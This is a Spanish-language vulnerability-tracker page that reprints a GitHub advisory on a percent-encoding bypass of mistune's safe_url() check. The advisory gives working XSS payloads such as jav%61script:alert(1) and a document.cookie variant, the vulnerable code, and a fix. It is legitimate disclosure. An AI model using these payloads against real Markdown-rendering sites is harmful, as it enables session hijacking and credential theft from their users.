llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · mistune

GHSA-8PPG-4VV7-9P53

Percent-encoded URL scheme bypass allows XSS via javascript: protocol in safe_url()

Parche disponible
Descargar PNG JSON
CVSS 3.1
6.1
Media
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición151 dDesde la divulgación, 21 jun 2026, 8:25 a. m.
Detección150 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 3.3.0
Monitoreo
Detectada +1
21 jun 26
19 nov 26
20 nov 26
21 jun 26
29 jul 26
5 sept 26
13 oct 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-8PPG-4VV7-9P53 divulgada · CVSS 6.1 (GitHub)
Remediación Parche 3.3.0 mistune · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary:
The `safe_url()` function fails to decode percent-encoded characters before
checking for harmful URL protocols (javascript:, vbscript:, data:, file:).
An attacker can encode one or more characters in the scheme name (e.g.
`jav%61script:`) to bypass the blocklist entirely. Any application that
renders untrusted Markdown with mistune is vulnerable to stored or reflected
XSS — no authentication required.

### Details:
Root cause is in two files:

`src/mistune/util.py` — `%` is kept as a safe char, so percent-encoding
is never decoded:

def escape_url(link: str) -> str:
safe = ":/?#@!$&()*+,;=%" # % preserved intentionally
return quote(unescape(link), safe=safe)
# unescape() only handles HTML entities like & &#xNN;
# It does NOT touch percent-encoding like %61

`src/mistune/renderers/html.py` — protocol check runs on the raw,
un-decoded URL:

def safe_url(self, url: str) -> str:
_url = url.lower() # %61 stays as %61, not decoded to 'a'
if _url.startswith(self.HARMFUL_PROTOCOLS):
return "#harmful-link"
return escape_text(url) # bypassed → XSS payload reaches browser

So `"jav%61script:alert(1)".lower()` does not start with `"javascript:"`,
the check passes, the raw href reaches the HTML output, and the browser
decodes `%61` → `a` and executes the script.

This is separate from Issue #87 (HTML entity bypass `javascript:`).
That was HTML entity encoding — this is URL percent-encoding, a different
code path that was never addressed.

### POC:
Tested on mistune 3.1.3 and 3.2.1 (pip install mistune==3.2.1):

import mistune
md = mistune.create_markdown()

# Test 1 — encoded lowercase 'a'
print(md("[click](jav%61script:alert(1))"))
# Got: <p><a href="jav%61script:alert(1)">click</a></p> ← BYPASSED
# Expected: <p><a href="#harmful-link">click</a></p>

# Test 2 — mixed case + encoded 'S'
print(md("[click](JAVA%53CRIPT:alert(1))"))
# Got: <p><a href="JAVA%53CRIPT:alert(1)">click</a></p> ← BYPASSED

# Test 3 — vbscript bypass
print(md("[click](vbscri%70t:msgbox(1))"))
# Got: <p><a href="vbscri%70t:msgbox(1)">click</a></p> ← BYPASSED

# Test 4 — data: bypass via image
print(md("![x](dat%61:text/html,<script>alert(1)</script>)"))
# Got: <p><img src="dat%61:text/html,..." /> ← BYPASSED

# Confirmed: plain javascript: is still correctly blocked
print(md("[click](javascript:alert(1))"))
# Got: <p><a href="#harmful-link">click</a></p> ← BLOCKED ✓

### Impact
Any application that passes untrusted user input through mistune's Markdown
renderer is vulnerable to Cross-Site Scripting (XSS).

Attack scenario:
- Comment systems, wikis, chat apps, documentation platforms that render
user-supplied Markdown with mistune are all affected.
- An unauthenticated attacker submits a Markdown link with a percent-encoded
scheme: [click me](jav%61script:alert(document.cookie))
- A victim clicks the rendered link → JavaScript executes in the victim's
browser → session hijacking, credential theft, or account takeover.

Recommended fix — decode percent-encoding before the protocol check:

from urllib.parse import unquote

def safe_url(self, url: str) -> str:
_url = unquote(url).lower() # decode %XX first, THEN check
if _url.startswith(self.HARMFUL_PROTOCOLS) and \
not _url.startswith(self.GOOD_DATA_PROTOCOLS):
return "#harmful-link"
return escape_url(url)

Verified: this patch blocks all encoded variants while leaving legitimate
https:// and http:// URLs completely unaffected.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:R
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:L
AltoBajoNinguno
IntegridadI:L
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
mistune≤ 3.2.1
3.2.1
3.4.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypimistune
Corregida 3.3.0 0 d 3.4.0 no afectada
Versiones corregidas3.3.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/lepture/mistune/security/advisories/GHSA-8ppg-4vv7-9p53

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.